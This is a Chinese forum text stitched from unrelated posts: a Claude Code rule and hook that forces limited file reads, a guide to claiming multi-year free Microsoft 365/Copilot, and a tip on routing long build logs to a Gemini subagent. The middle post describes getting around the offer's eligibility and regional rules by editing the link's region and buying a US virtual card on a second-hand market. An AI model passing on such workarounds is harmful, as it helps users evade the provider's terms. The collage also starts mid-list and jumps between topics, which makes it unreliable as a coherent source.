3. **扩展**：如果需要更多上下文，再调整 offset 继续读取。
**目标**：保持上下文精准、最小化。如果不遵守，工具调用将被 Hook 拦截。
### File Reading Strategy **MANDATORY RULE**: Every `Read` tool call **MUST** verify `offset` and `limit` parameters. Default full-file reads are prohibited for non-trivial files.
#### Parameter Requirements
| Param | Requirement | Description |
| -------- | -------------- | ----------------------------- |
| `offset` | **REQUIRED** | Start line number (0-indexed) |
| `limit` | **REQUIRED** | Max lines to read (Max 500) |
#### Workflow 1. **Recon**: Use `Grep` first to understand structure or locate keywords.
2. **Surgical Read**: Use `offset` + `limit` to read only the relevant section.
3. **Expand**: Adjust `offset` to read more context only if strictly necessary.
**Goal**: Keep context precise and minimal. Violations will be blocked by the PreToolUse hook.
从上面 github 仓库获取 hook 文件，并配置到你的 claude code（如果不熟悉可以直接把文件丢给 claude code 让他代劳）。
(这个脚本稍微有点长，但逻辑很简单：检查文件大小 → 检查参数 → 决定是放行、自动修正还是报错拦截)
装上这一套之后，你会发现 claude code 的行为模式变了：
虽然多了一步交互，但上下文极其干净，Token 消耗量大大降低，而且修改的准确率反而提高了。
按照佬的教程 免费白嫖 2-5 年 Copilot（Microsoft365），可用 GPT-5.2 成功用两个账号分别申请到了 2 年和 5 年的羊毛，激动之余汇总一下自己申请过程中遇到的坑以及如何成功申请五年的。
贴主为在读博士生，自己有 edu 邮箱，所以以下注意点不包括如何获取 edu 邮箱，如有需要可以看这里 关于 “免费白嫖 2-5 年 Copilot” 如何获取 edu 邮箱！
我用的是 QQ 邮箱注册的 Microsoft 账号 + 博士学校的 edu 邮箱验证，其实很好成功，就是按照佬最开始的教程里里面手动把链接里的 US 改成 HK，用国区 Visa 绑 Paypal 就可以成功申请了。
这里验证了如果不换区的话国区 Visa 是不能过第一个链接的（来自不死心尝试了很多次的经验）。
这里注意，千万不要这时候直接去过第二个链接，不然只有一年的高级版，请看佬友的血泪教训 白嫖 Microsoft365 血泪：只有 1 年！
5 年的重要问题就卡在怎么获取美区支付方式，这里请大家移步海鲜市场，50 软妹币购买一张 5 刀的虚拟卡（注意一定要提前问清是可绑 paypal 和 google pay 的独立卡，而不是只能过验证的虚拟卡，两个不一样不一样说两遍），拿到卡信息后去 google pay 进行注册和绑卡，绑卡成功我们就可以去过链接了。
这里用的是美区 Gmail 邮箱重新注册 Microsoft 账号 + 本科学校的校友邮箱验证（再次证明了邮箱不是重点，支付方式才是），然后一样先点第一个链接，支付方式选择 google pay，验证成功后再点第二个链接–成功升级！五年白嫖到手～
Ok 这就是全部的内容啦，其实佬的教程已经非常详细了，很多解决方案评论区也有，我只是把自己过程中遇到的问题和解决方法汇总整理了一下（主要是出于一定要拿到 5 年的执念），希望能帮大家节省一些时间。
如果有帮助的话默默求个赞～孩子好穷上不起
经常在对话中 如果是 claude 帮你构建啊 electron 打包啊
导致反代 400 了
然后看日志你会发现都在上下文里啊！！
这下好了当前对话崩了只能换 gemini 来修复。。对话后续上才能切回 claude 继续对话
最好的办法就是提示词里安排 gemini 专家去子代理窗口构建打包什么的！
以后只要比较长的输出日志啊 什么的都让子代理 gemini 去干活
指定下～～～